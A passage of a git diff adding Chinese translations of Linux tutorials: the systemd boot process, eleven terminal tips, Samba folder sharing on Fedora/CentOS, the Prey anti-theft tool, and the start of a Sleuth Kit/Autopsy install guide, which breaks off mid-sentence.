记录事件的Journald模块和记录系统日志的syslogd模块 + +Systemd同时也清晰地处理了系统关机过程。它在/usr/lib/systemd/目录下有三个脚本,分别叫systemd-halt.service,systemd-poweroff.service,systemd-reboot.service。这几个脚本会在用户选择关机,重启或待机时执行。在接收到关机事件时,systemd首先卸载所有文件系统并停止所有内存交换设备,断开存储设备,之后停止所有剩下的进程。 + +![](http://images.linoxide.com/systemd-boot-process.jpg) + +### Systemd结构概览 ### + +让我们看一下Linux系统在使用systemd作为引导程序时的开机启动过程的结构性细节。为了简单,我们将在下面按步骤列出来这个过程: + +**1.** 当你打开电源后电脑所做的第一件事情就是BIOS初始化。BIOS会读取引导设备设定,定位并传递系统控制权给MBR(假设硬盘是第一引导设备)。 + +**2.** MBR从Grub或LILO引导程序读取相关信息并初始化内核。接下来将由Grub或LILO继续引导系统。如果你在grub配置文件里指定了systemd作为引导管理程序,之后的引导过程将由systemd完成。Systemd使用“target”来处理引导和服务管理过程。这些systemd里的“target”文件被用于分组不同的引导单元以及启动同步进程。 + +**3.** systemd执行的第一个目标是**default.target**。但实际上default.target是指向**graphical.target**的软链接。Linux里的软链接用起来和Windows下的快捷方式一样。文件Graphical.target的实际位置是/usr/lib/systemd/system/graphical.target。在下面的截图里显示了graphical.target文件的内容。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/graphical1.png) + +**4.** 在这个阶段,会启动**multi-user.target**而这个target将自己的子单元放在目录“/etc/systemd/system/multi-user.target.wants”里。这个target为多用户支持设定系统环境。非root用户会在这个阶段的引导过程中启用。防火墙相关的服务也会在这个阶段启动。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/multi-user-target1.png) + +"multi-user.target"会将控制权交给另一层“**basic.target**”。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/Basic-Target.png) + +**5.** "basic.target"单元用于启动普通服务特别是图形管理服务。它通过/etc/systemd/system/basic.target.wants目录来决定哪些服务会被启动,basic.target之后将控制权交给**sysinit.target**. + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/Sysint-Target.png) + +**6.** "sysinit.target"会启动重要的系统服务例如系统挂载,内存交换空间和设备,内核补充选项等等。sysinit.target在启动过程中会传递给**local-fs.target**。这个target单元的内容如下面截图里所展示。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/local-FS-Target.png) + +**7.** local-fs.target,这个target单元不会启动用户相关的服务,它只处理底层核心服务。这个target会根据/etc/fstab和/etc/inittab来执行相关操作。 + +### 系统引导性能分析 ### + +Systemd提供了工具用于识别和定位引导相关的问题或性能影响。**Systemd-analyze**是一个内建的命令,可以用来检测引导过程。你可以找出在启动过程中出错的单元,然后跟踪并改正引导组件的问题。在下面列出一些常用的systemd-analyze命令。 + +**systemd-analyze time** 用于显示内核和普通用户空间启动时所花的时间。 + + $ systemd-analyze time + + Startup finished in 1440ms (kernel) + 3444ms (userspace) + +**systemd-analyze blame** 会列出所有正在运行的单元,按从初始化开始到当前所花的时间排序,通过这种方式你就知道哪些服务在引导过程中要花较长时间来启动。 + + $ systemd-analyze blame + + 2001ms mysqld.service + 234ms httpd.service + 191ms vmms.service + +**systemd-analyze verify** 显示在所有系统单元中是否有语法错误。 + +**systemd-analyze plot** 可以用来把整个引导过程写入一个SVG格式文件里。整个引导过程非常长不方便阅读,所以通过这个命令我们可以把输出写入一个文件,之后再查看和分析。下面这个命令就是做这个。 + + systemd-analyze plot > boot.svg + +### Systemd的争议 ### + +Systemd并没有幸运地获得所有人的青睐,一些专家和管理员对于它的工作方式和开发有不同意见。根据对于Systemd的批评,它不是“类Unix”方式因为它试着替换一些系统服务。一些专家也不喜欢使用二进制配置文件的想法。据说编辑systemd配置非常困难而且没有一个可用的图形工具。 + +###  如何在Ubuntu 14.04和12.04上测试Systemd ### + +本来,Ubuntu决定从Ubuntu 16.04 LTS开始使用Systemd来替换当前的引导过程。Ubuntu 16.04预计在2016年4月发布,但是考虑到Systemd的流行和需求,刚刚发布的**Ubuntu 15.04**采用它作为默认引导程序。另外,Ubuntu 14.04 Trusty Tahr和Ubuntu 12.04 Precise Pangolin的用户可以在他们的机器上测试Systemd。测试过程并不复杂,你所要做的只是把相关的PPA包含到系统中,更新仓库并升级系统。 + +**声明**:请注意它仍然处于Ubuntu的测试和开发阶段。升级测试包可能会带来一些未知错误,最坏的情况下有可能损坏你的系统配置。请确保在尝试升级前已经备份好重要数据。 + +在终端里运行下面的命令来添加PPA到你的Ubuntu系统里: + + sudo add-apt-repository ppa:pitti/systemd + +你将会看到警告信息因为我们尝试使用临时/测试PPA,而它们是不建议用于实际工作机器上的。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/PPA-Systemd1.png) + +然后运行下面的命令更新APT包管理仓库。 + + sudo apt-get update + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/Update-APT1.png) + +运行下面的命令升级系统。 + + sudo apt-get dist-upgrade + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/System-Upgrade.png) + +就这些,你应该已经可以在你的Ubuntu系统里看到Systemd配置文件了,打开/lib/systemd/目录可以看到这些文件。 + +好吧,现在让我们编辑一下grub配置文件指定systemd作为默认引导程序。可以使用Gedit文字编辑器编辑grub配置文件。 + + sudo gedit /etc/default/grub + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/Edit-Grub.png) + +在文件里修改GRUB_CMDLINE_LINUX_DEFAULT项,设定它的参数为:“**init=/lib/systemd/systemd**” + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/Grub-Systemd.png) + +就这样,你的Ubuntu系统已经不再使用传统的引导程序了,改为使用Systemd管理器。重启你的机器然后查看systemd引导过程吧。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/Sytemd-Boot.png) + +### 结论 ### + +Systemd毫无疑问为改进Linux引导过程前进了一大步;它包含了一套漂亮的库和守护进程配合工作来优化系统引导和关闭过程。许多Linux发行版正准备将它作为自己的正式引导程序。在以后的Linux发行版中,我们将有望看到systemd开机。但是另一方面,为了获得成功并广泛应用,systemd仍需要认真处理批评意见。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/systemd-boot-process/ + +作者:[Aun Raza][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ +[1]:http://linoxide.com/booting/boot-process-of-linux-in-detail/ +[2]:http://0pointer.de/blog/projects/self-documented-boot.html diff --git a/published/201505/20150318 11 Linux Terminal Commands That Will Rock Your World.md b/published/201505/20150318 11 Linux Terminal Commands That Will Rock Your World.md new file mode 100644 index 0000000000..0160abb0c2 --- /dev/null +++ b/published/201505/20150318 11 Linux Terminal Commands That Will Rock Your World.md @@ -0,0 +1,279 @@ +11个让你吃惊的 Linux 终端命令 +================================================================================ +我已经用了十年的Linux了,通过今天这篇文章我将向大家展示一系列的命令、工具和技巧,我希望一开始就有人告诉我这些,而不是曾在我成长道路上绊住我。 + +### 1. 命令行日常系快捷键 ### + +![Linux Keyboard Shortcuts.](http://f.tqn.com/y/linux/1/L/m/J/1/keyboardshortcuts.png) + +*Linux的快捷键。* + +如下的快捷方式非常有用,能够极大的提升你的工作效率: + +- CTRL + U - 剪切光标前的内容 +- CTRL + K - 剪切光标至行末的内容 +- CTRL + Y - 粘贴 +- CTRL + E - 移动光标到行末 +- CTRL + A - 移动光标到行首 +- ALT + F - 跳向下一个空格 +- ALT + B - 跳回上一个空格 +- ALT + Backspace - 删除前一个单词 +- CTRL + W - 剪切光标后一个单词 +- Shift + Insert - 向终端内粘贴文本 + +那么为了让上述内容更易理解来看下面的这行命令。 + + sudo apt-get intall programname + +如你所见,命令中存在拼写错误,为了正常执行需要把“intall”替换成“install”。 + +想象现在光标正在行末,我们有很多的方法将她退回单词install并替换它。 + +我可以按两次ALT+B这样光标就会在如下的位置(这里用^指代光标的位置)。 + + sudo apt-get^intall programname + +现在你可以按两下方向键并将“s”插入到install中去了。 + +如果你想将浏览器中的文本复制到终端,可以使用快捷键"shift + insert"。 + + +### 2. SUDO !! ### + +![](http://f.tqn.com/y/linux/1/L/n/J/1/sudotricks2.png) + +*sudo !!* + +如果你还不知道这个命令,我觉得你应该好好感谢我,因为如果你不知道的话,那每次你在输入长串命令后看到“permission denied”后一定会痛恼不堪。 + +- sudo !! + +如何使用sudo !!?很简单。试想你刚输入了如下命令: + + apt-get install ranger + +一定会出现“Permission denied”,除非你已经登录了足够高权限的账户。 + +sudo !! 就会用 sudo 的形式运行上一条命令。所以上一条命令就变成了这样: + + sudo apt-get install ranger + +如果你不知道什么是sudo,[戳这里][1]。 + +### 3. 暂停并在后台运行命令 ### + +![Pause Terminal Applications.](http://f.tqn.com/y/linux/1/L/o/J/1/pauseapps.png) + +*暂停终端运行的应用程序。* + +我曾经写过一篇[如何在终端后台运行命令的指南][13]。 + +- CTRL + Z - 暂停应用程序 +- fg - 重新将程序唤到前台 + +如何使用这个技巧呢? + +试想你正用nano编辑一个文件: + + sudo nano abc.txt + +文件编辑到一半你意识到你需要马上在终端输入些命令,但是nano在前台运行让你不能输入。 + +你可能觉得唯一的方法就是保存文件,退出 nano,运行命令以后在重新打开nano。 + +其实你只要按CTRL + Z,前台的命令就会暂停,画面就切回到命令行了。然后你就能运行你想要运行命令,等命令运行完后在终端窗口输入“fg”就可以回到先前暂停的任务。 + +有一个尝试非常有趣就是用nano打开文件,输入一些东西然后暂停会话。再用nano打开另一个文件,输入一些什么后再暂停会话。如果你输入“fg”你将回到第二个用nano打开的文件。只有退出nano再输入“fg”,你才会回到第一个用nano打开的文件。 + +### 4. 使用nohup在登出SSH会话后仍运行命令 ### + +![nohup.](http://f.tqn.com/y/linux/1/L/p/J/1/nohup3.png) + +*nohup* + +如果你用ssh登录别的机器时,[nohup命令][2]真的非常有用。 + +那么怎么使用nohup呢? + +想象一下你使用ssh远程登录到另一台电脑上,你运行了一条非常耗时的命令然后退出了ssh会话,不过命令仍在执行。而nohup可以将这一场景变成现实。 + +举个例子,因为测试的需要,我用我的[树莓派][3]来下载发行版。我绝对不会给我的树莓派外接显示器、键盘或鼠标。 + +一般我总是用[SSH][4]从笔记本电脑连接到树莓派。如果我在不用nohup的情况下使用树莓派下载大型文件,那我就必须等待到下载完成后,才能登出ssh会话关掉笔记本。可如果是这样,那我为什么要使用树莓派下文件呢? + +使用nohup的方法也很简单,只需如下例中在nohup后输入要执行的命令即可: + + nohup wget http://mirror.is.co.za/mirrors/linuxmint.com/iso//stable/17.1/linuxmint-17.1-cinnamon-64bit.iso & + + +### 5. ‘在’特定的时间运行Linux命令 ### + +![Schedule tasks with at.](http://f.tqn.com/y/linux/1/L/q/J/1/at.png) + +*At管理任务日程* + +‘nohup’命令在你用SSH连接到服务器,并在上面保持执行SSH登出前任务的时候十分有用。 + +想一下如果你需要在特定的时间执行相同的命令,这种情况该怎么办呢? + +命令‘at’就能妥善解决这一情况。以下是‘at’使用示例。 + + at 10:38 PM Fri + at> cowsay 'hello' + at> CTRL + D + +上面的命令能在周五下午10时38分运行程序[cowsay][5]。 + +使用的语法就是‘at’后追加日期时间。当at>提示符出现后就可以输入你想在那个时间运行的命令了。 + +CTRL + D 返回终端。 + +还有许多日期和时间的格式,都需要你好好翻一翻‘at’的man手册来找到更多的使用方式。 + + +### 6. Man手册 ### + +![](http://f.tqn.com/y/linux/1/L/l/J/1/manmost.png) + +*彩色man 手册* + +Man手册会为你列出命令和参数的使用大纲,教你如何使用她们。Man手册看起来沉闷呆板。(我思忖她们也不是被设计来娱乐我们的)。 + +不过这不代表你不能做些什么来使她们变得漂亮些。 + + export PAGER=most + +你需要安装 ‘most’;她会使你的你的man手册的色彩更加绚丽。 + +你可以用以下命令给man手册设定指定的行长: + + export MANWIDTH=80 + +最后,如果你有一个可用的浏览器,你可以使用-H在默认浏览器中打开任意的man页。 + + man -H + +注意啦,以上的命令只有在你将默认的浏览器设置到环境变量$BROWSER中了之后才效果哟。 + + +### 7. 使用htop查看和管理进程 ### + +![View Processes With htop.](http://f.tqn.com/y/linux/1/L/r/J/1/nohup2.png) + +*使用htop查看进程。* + +你用哪个命令找出电脑上正在运行的进程的呢?我敢打赌是‘[ps][6]’并在其后加不同的参数来得到你所想要的不同输出。 + +安装‘[htop][7]’吧!绝对让你相见恨晚。 + +htop在终端中将进程以列表的方式呈现,有点类似于Windows中的任务管理器。你可以使用功能键的组合来切换排列的方式和展示出来的项。你也可以在htop中直接杀死进程。 + +在终端中简单的输入htop即可运行。 + + htop + +### 8. 使用ranger浏览文件系统 ### + +![Command Line File Manager - Ranger.](http://f.tqn.com/y/linux/1/L/s/J/1/ranger.png) + +*命令行文件管理 - Ranger* + +如果说htop是命令行进程控制的好帮手,那么[ranger][8]就是命令行浏览文件系统的好帮手。 + +你在用之前可能需要先安装,不过一旦安装了以后就可以在命令行输入以下命令启动她: + + ranger + +在命令行窗口中ranger和一些别的文件管理器很像,但是相比上下结构布局,她是左右结构的,这意味着你按左方向键你将前进到上一个文件夹,而右方向键则会切换到下一个。 + +在使用前ranger的man手册还是值得一读的,这样你就可以用快捷键操作ranger了。 + + +### 9. 取消关机 ### + +![Cancel Linux Shutdown.](http://f.tqn.com/y/linux/1/L/t/J/1/shutdown.png) + +*Linux取消关机。* + +无论是在命令行还是图形用户界面[关机][9]后,才发现自己不是真的想要关机。 + + shutdown -c + +需要注意的是,如果关机已经开始则有可能来不及停止关机。 + +以下是另一个可以尝试命令: + +- [pkill][10] shutdown + + +### 10. 杀死挂起进程的简单方法 ### + +![Kill Hung Processes With XKill.](http://f.tqn.com/y/linux/1/L/u/J/1/killhungprocesses.png) + +*使用XKill杀死挂起进程。* + +想象一下,你正在运行的应用程序不明原因的僵死了。 + +你可以使用‘ps -ef’来找到该进程后杀掉或者使用‘htop’。 + +有一个更快、更容易的命令叫做[xkill][11]。 + +简单的在终端中输入以下命令并在窗口中点击你想杀死的应用程序。 + + xkill + +那如果整个系统挂掉了怎么办呢? + +按住键盘上的‘alt’和‘sysrq’不放,然后慢慢输入以下键: + +- [REISUB][12] + +这样不按电源键你的计算机也能重启了。 + + +### 11. 下载Youtube视频 ### + +![youtube-dl.](http://f.tqn.com/y/linux/1/L/v/J/1/youtubedl2.png) + +*youtube-dl.* + +一般来说我们大多数人都喜欢看Youtube的视频,也会通过钟爱的播放器播放Youtube的流媒体。 + +如果你需要离线一段时间(比如:从苏格兰南部坐飞机到英格兰南部旅游的这段时间)那么你可能希望下载一些视频到存储设备中,到闲暇时观看。 + +你所要做的就是从包管理器中安装youtube-dl。 + +你可以用以下命令使用youtube-dl: + + youtube-dl url-to-video + +你可以在Youtubu视频页面点击分享链接得到视频的url。只要简单的复制链接在粘帖到命令行就行了(要用shift + insert快捷键哟)。 + +### 总结 ### + +希望你在这篇文章中得到帮助,并且在这11条中找到至少一条让你惊叹“原来可以这样”的技巧。 + +-------------------------------------------------------------------------------- + +via: http://linux.about.com/od/commands/tp/11-Linux-Terminal-Commands-That-Will-Rock-Your-World.htm + +作者:[Gary Newell][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[1]:http://linux.about.com/cs/linux101/g/sudo.htm +[2]:http://linux.about.com/library/cmd/blcmdl1_nohup.htm +[3]:http://linux.about.com/od/mobiledevicesother/a/Raspberry-Pi-Computer-Running-Linux.htm +[4]:http://linux.about.com/od/commands/l/blcmdl1_ssh.htm +[5]:http://linux.about.com/cs/linux101/g/cowsay.htm +[6]:http://linux.about.com/od/commands/l/blcmdl1_ps.htm +[7]:http://www.linux.com/community/blogs/133-general-linux/745323-5-commands-to-check-memory-usage-on-linux +[8]:http://ranger.nongnu.org/ +[9]:http://linux.about.com/od/commands/l/blcmdl8_shutdow.htm +[10]:http://linux.about.com/library/cmd/blcmdl1_pkill.htm +[11]:http://linux.about.com/od/funnymanpages/a/funman_xkill.htm +[12]:http://blog.kember.net/articles/reisub-the-gentle-linux-restart/ +[13]:http://linux.about.com/od/commands/fl/How-To-Run-Linux-Programs-From-The-Terminal-In-Background-Mode.htm diff --git a/published/201505/20150318 How to share a directory with Samba on Fedora or CentOS.md b/published/201505/20150318 How to share a directory with Samba on Fedora or CentOS.md new file mode 100644 index 0000000000..e8e48ba76d --- /dev/null +++ b/published/201505/20150318 How to share a directory with Samba on Fedora or CentOS.md @@ -0,0 +1,144 @@ +如何在Fedora或CentOS上使用Samba共享文件夹 +================================================================================ +如今,无论在家里或者是办公场所,不同的电脑之间共享文件夹已不是什么新鲜事了。在这种趋势下,现代操作系统通过网络文件系统的方式使得电脑间数据的交换变得简单而透明。如果您工作的环境中既有微软的Windows又有Linux,那么,一个共享文件及目录的方式便是通过一个跨平台网络文件共享协议:SMB/CIFS。Windows原生的支持SMB/CIFS,Linux也通过开源的软件Samba实现了SMB/CIFS协议。 + +在这篇文章中,我们将展示**如何使用Samba共享文件夹**。我们使用的Linux平台是**Fedora或CentOS**。这篇文章分为四部分。首先,我们在Fedora/CentOS环境下安装Sambe。接着,我们讨论如何调整SELinux和防火墙配置以允许Samba的文件共享。最后我们介绍如何使用Samba来共享文件夹。 + +### 步骤1:在Fedora和CentOS上安装Samba ### + +首先,安装Samba以及进行一些基本的配置。 + +检验Samba是否已经安装在您的系统中: + + $ rpm -q samba samba-common samba-client + +如果上面的命令没有任何输出,这意味着Samba并未安装。这时,应使用下面的命令来安装Samba。 + + $ sudo yum install samba samba-common samba-client + +接下来,创建一个用于在网络中共享的本地文件夹。这个文件夹应该以Samba共享的方式导出到远程的用户。在这个指南中,我们会在顶层文件夹'/'中创建这个文件夹,因此,请确保您有相应的权限。 + + $ sudo mkdir /shared + +如果您想在您的home文件夹内创建共享文件夹(例如,~/shared),您必须激活SELinux中Samba的home文件夹共享选项,具体将在后面提到。 + +在创建/shared文件夹后,设置文件夹权限以保证其余用户可以访问它。 + + $ sudo chmod o+rw /shared + +如果您不想其他用户对该文件夹拥有写权限,您需要移除命令中的'w'选项。 + + $ sudo chmod o+r /shared + +接下来,创建一个空文件来测试。这个文件可以被用来验证Samba的共享已经被挂载。 + + $ sudo touch /shared/file1 + +### 步骤2:为Samba配置SELinux ### + +接下来,我们需要再次配置SELinux。在Fedora和CentOS发行版中SELinux是默认开启的。SELinux仅在正确的安全配置下才允许Samba读取和修改文件或文件夹。(例如,加上'samba_share_t'属性标签)。 + +下面的命令为文件的配置添加必要的标签: + + $ sudo semanage fcontext -a -t samba_share_t "(/.*)?" + +将替换为我们之前为Samba共享创建的本地文件夹(例如,/shared): + + $ sudo semanage fcontext -a -t samba_share_t "/shared(/.*)?" + +我们必须执行restorecon命令来激活修改的标签,命令如下: + + $ sudo restorecon -R -v /shared + +![](https://farm9.staticflickr.com/8584/16652774078_2055f45f70_b.jpg) + +为了通过Samba共享在我们home文件夹内的文件夹,我们必须在SELinux中开启共享home文件夹的选项,该选项默认被关闭。下面的命令能达到该效果。如果您并未共享您的home文件夹,那么您可以跳过该步骤。 + + $ sudo setsebool -P samba_enable_home_dirs 1 + +### 步骤3:为Samba配置防火墙 ### + +下面的命令用来打开防火墙中Samba共享所需的TCP/UDP端口。 + +如果您在使用firewalld(例如,在Fedora和CentOS7下),接下来的命令将会永久的修改Samba相关的防火墙规则。 + + $ sudo firewall-cmd --permanent --add-service=samba + +如果您在防火墙中使用iptables(例如,CentOS6或者更早的版本),可以使用下面的命令来打开Samba必要的向外的端口。 + + $ sudo vi /etc/sysconfig/iptables + +---------- + + -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 445 -j ACCEPT + -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 445 -j ACCEPT + -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 137 -j ACCEPT + -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 138 -j ACCEPT + -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 139 -j ACCEPT + +然后重启iptables服务: + + $ sudo service iptables restart + +### 步骤4:更改Samba配置 ### + +后面的步骤用来配置Samba以将本地文件夹导出为Samba共享文件夹。 + +使用文件编辑器打开Samba配置文件,并将下面的行添加到文件的末尾。 + + $ sudo nano /etc/samba/smb.conf + +---------- + + [myshare] + comment=my shared files + path=/shared + public=yes + writeable=yes + +上面在括号内的文本(例如,"myshare")是Samba共享的资源的名字,它被用来从远程主机存取Samba共享。 + +创建Samba用户帐户,这是挂载和导出Samba文件系统所必须的。我们可以使用smbpasswd工具来创建一个Samba用户。注意,Samba用户帐户必须是已有的Linux用户。如果您尝试使用smbpasswd添加一个不存在的用户,它会返回一个错误的消息。 + +如果您不想使用任何已存在的Linux用户作为Samba用户,您可以在您的系统中创建一个新的用户。为安全起见,设置新用户的登录脚本为/sbin/nologin,并且不创建该用户的home文件夹。 + +在这个例子中,我们创建了一个名叫"sambaguest"的用户,如下: + + $ sudo useradd -M -s /sbin/nologin sambaguest + $ sudo passwd sambaguest + +![](https://farm9.staticflickr.com/8702/16814479366_53f540d3ba_b.jpg) + +在创建一个新用户后,使用smbpasswd命令添加Samba用户。当这个命令询问一个密码时,您可以键入一个与其用户密码不同的密码。 + + $ sudo smbpasswd -a sambaguest + +激活Samba服务,并检测Samba服务是否在运行。 + + $ sudo systemctl enable smb.service + $ sudo systemctl start smb.service + $ sudo systemctl is-active smb + +![](https://farm8.staticflickr.com/7607/16652984770_622f24bccc_b.jpg) + +使用下面的命令来查看Samba中共享的文件夹列表。 + + $ smbclient -U sambaguest -L localhost + +![](https://farm8.staticflickr.com/7281/16220411103_06bf585901_b.jpg) + +接下来是在Thunar文件管理器中访问Samba共享文件夹以及对file1进行拷贝复制的截图。注意,Samba的共享内容可以通过在Thunar中通过 `smb:///myshare` 这个地址来访问。 + +![](https://farm8.staticflickr.com/7644/16218011174_c8b34fcedc_b.jpg) + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/share-directory-samba-fedora-centos.html + +作者:[Kristophorus Hadiono][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/kristophorus diff --git a/published/201505/20150320 Locate Stolen laptops and Smart phones Using Prey Tool in Ubuntu.md b/published/201505/20150320 Locate Stolen laptops and Smart phones Using Prey Tool in Ubuntu.md new file mode 100644 index 0000000000..168032e2a4 --- /dev/null +++ b/published/201505/20150320 Locate Stolen laptops and Smart phones Using Prey Tool in Ubuntu.md @@ -0,0 +1,71 @@ +使用Prey定位被盗的Ubuntu笔记本与智能电话 +=============================================================================== +Prey是一款跨平台的开源工具,可以帮助你找回被盗的笔记本,台式机,平板和智能手机。它已经获得了广泛的流行,声称帮助找回了成百上千台丢失的笔记本和智能手机。Prey的使用特别简单,首先安装在你的笔记本或者手机上,当你的设备不见了,用你的账号登入Prey网站,并且标记你的设备为“丢失”。只要小偷将设备接入网络,Prey就会马上发送设备的地理位置给你。如果你的笔记本有摄像头,它还会拍下该死的贼。 + +Prey占用很小的系统资源;你不会对你的设备运行有任何影响。你也可以配合其他你已经在设备上安装的防盗软件使用。Prey在你的设备与Prey服务器之间采用安全加密的通道进行数据传输。 + +### 在Ubuntu上安装并配置Prey ### + +让我们来看看如何在Ubuntu上安装和配置Prey,需要提醒的是,在配置过程中,我们必须到Prey官网进行账号注册。一旦完成上述工作,Prey将会开始监视你的设备了。免费的账号最多可以监视三个设备,如果你需要添加更多的设备,你就需要购买合适的的套餐了。 + +可以想象Prey多么流行与被广泛使用,它现在已经被添加到了官方的软件库中了。这意味着你不要往软件包管理器添加任何PPA。很简单,登录你的终端,运行以下的命令来安装它: + + sudo apt-get install prey + +![Install Prey](http://blog.linoxide.com/wp-content/uploads/2015/03/Install-Prey.png) + +![Install Prey 1](http://blog.linoxide.com/wp-content/uploads/2015/03/Install-Prey-1.png) + +Prey是十分轻巧的软件,只使用了系统几兆的空间,安装完成后,从Application >> Prey启动,之后它会询问你进行相关配置。 + +选择“New User”,如果你是第一次使用的话。 + +![Prey New User](http://blog.linoxide.com/wp-content/uploads/2015/03/Prey-New-User.png) + +第二步实际上就是官网注册的流程。请提供你的用户名,邮箱地址和密码,来申清一个免费的账号。 + +![Register Prey](http://blog.linoxide.com/wp-content/uploads/2015/03/Register-Prey.png) + +点击“Apply”完成,所有工作搞定,现在你的计算机被Prey保护了。 + +![Prey Configuration](http://blog.linoxide.com/wp-content/uploads/2015/03/Prey-Configuration.png) + +登录你最新建立的[Prey 账号][1],你就应该可以在“Devices”菜单下看见你的设备信息了。 + +![Prey Web Login](http://blog.linoxide.com/wp-content/uploads/2015/03/Prey-Web-Login.png) + +只要你的笔记本或者任何其他设备丢失了,就登录你的Prey网站账号,然后点击“Set Device to Missing”选项修改设备状态为“missing”。 + +![Prey Missing Page](http://blog.linoxide.com/wp-content/uploads/2015/03/Prey-Missing-1.png) + +从这里选择定时报告,并点击“Yes,my device is missing”。定时报告选项是指一段时间间隔后,软件会更新并发送给你设备的地理位置。它还会从网页界面那发邮件给你,只要设备的状态改变了。 + +![Prey Missing Email](http://blog.linoxide.com/wp-content/uploads/2015/03/Prey-Missing-2.png) + +而一旦被盗的设备接入了互联网,Prey就会马上发送报告给你,包括设备的地理位置和IP地址。 + +![Prey Found Report](http://blog.linoxide.com/wp-content/uploads/2015/03/Prey-Missing-3.png) + +点击报告链接,你应该会看到设备的地理位置和IP地址。 + +![Prey Final](http://blog.linoxide.com/wp-content/uploads/2015/03/Prey-Final.png) + +Prey有一个明显的不足。它需要你的设备接入互联网才会发送地理位置给你,如果小偷比较聪明,在接入网络前将你的设备磁盘格式化了,那么你就永远不会收到设备被发现的报告了。但是这里仍然是有一个方法克服这个不足,确保添加一个BIOS密码,并且禁用从可移除的设备里启动系统。 + +### 结论 ### + +这是一款小巧,非常有用的安全保护应用,可以让你在一个地方追踪你所有的设备,尽管不完美,但是仍然提供了找回被盗设备的机会。它在Linux,Windows和Mac平台上无缝运行。以上就是[Prey][2]完整使用的所有细节。 + +------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/anti-theft-application-prey-ubuntu/ + +作者:[Aun Raza][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ +[1]:https://preyproject.com/ +[2]:https://preyproject.com/plans diff --git a/published/201505/20150320 Sleuth Kit--Open Source Forensic Tool to Analyze Disk Images and Recover Files.md b/published/201505/20150320 Sleuth Kit--Open Source Forensic Tool to Analyze Disk Images and Recover Files.md new file mode 100644 index 0000000000..ba4da99105 --- /dev/null +++ b/published/201505/20150320 Sleuth Kit--Open Source Forensic Tool to Analyze Disk Images and Recover Files.md @@ -0,0 +1,159 @@ +Sleuth Kit:一个用来分析磁盘映像和恢复文件的开源取证工具 +================================================================================ +SIFT 是一个由 SANS 公司提供的基于 Ubuntu 的取证发行版。它包含许多取证工具,如 Sleuth kit/Autopsy 。但 Sleuth kit/Autopsy 可以直接在 Ubuntu 或 Fedora 发行版本上直接安装,而不必下载 SIFT 的整个发行版本。 + +Sleuth Kit/Autopsy 是一个开源的电子取证调查工具,它可以用于从磁盘映像中恢复丢失的文件,以及为了特殊事件进行磁盘映像分析。 Autopsy 工具是 sleuth kit 的一个网页接口,支持 sleuth kit 的所有功能。这个工具在 Windows 和 Linux 平台下都可获取到。 + +### 安装 Sleuth kit ### + +首先,从 [sleuthkit][1] 的网站下载 Sleuth kit 软件。使用下面的命令在虚拟终端下使用 wget 命令来下载它,下图展示了这个过程。 + + # wget http://cznic.dl.sourceforge.net/project/sleuthkit/sleuthkit/4.1.3/sleuthkit-4.1.3.tar.gz + +![下载 Sleuth Kit](http://blog.linoxide.com/wp-content/uploads/2015/03/download-sleuthkeit.png) + +使用下面的命令解压 sleuthkit-4.1.3.tar.gz 并进入解压后的目录: + + # tar -xvzf sleuthkit-4.1.3.tar.gz + +![解压过程](http://blog.linoxide.com/wp-content/uploads/2015/03/extract.png) + +在安装 sleuth kit 之前,运行下面的命令来执行所需的检查: + + #./configure + +![configure](http://blog.linoxide.com/wp-content/uploads/2015/03/configure.png) + +然后使用 Make 命令来编译 sleuth kit : + + #make + +![make](http://blog.linoxide.com/wp-content/uploads/2015/03/make.png) + +最后,使用下面的命令将它安装到 **/usr/local** 目录下: + + #make install + +![make install](http://blog.linoxide.com/wp-content/uploads/2015/03/make-install.png) + +### 安装 Autopsy 工具 ### + +Sleuth kit 已经安装完毕,现在我们将为它安装 autopsy 界面。从 [sleuthkit 的 autopsy 页面][2]下载 Autopsy 软件。使用下面的命令在虚拟终端下使用 wget 命令来下载它,下图展示了这个过程。 + + # wget http://kaz.dl.sourceforge.net/project/autopsy/autopsy/2.24/autopsy-2.24.tar.gz + +![Autpsy 的下载链接](http://blog.linoxide.com/wp-content/uploads/2015/03/autopsy.png) + +使用下面的命令解压 autopsy-2.24.tar.gz 并进入解压后的目录: + + # tar -xvzf autopsy-2.24.tar.gz + +![Autopsy 的解压](http://blog.linoxide.com/wp-content/uploads/2015/03/Autopsy-extraction.png) + +autopsy 的配置脚本将询问 NSRL (National Software Reference Library) 和 **Evidence_Locker** 文件夹的路径。 + +当弹窗问及 NSRL 时,输入 "n",并在 **/usr/local** 目录下创建名为 Evidence_Locker 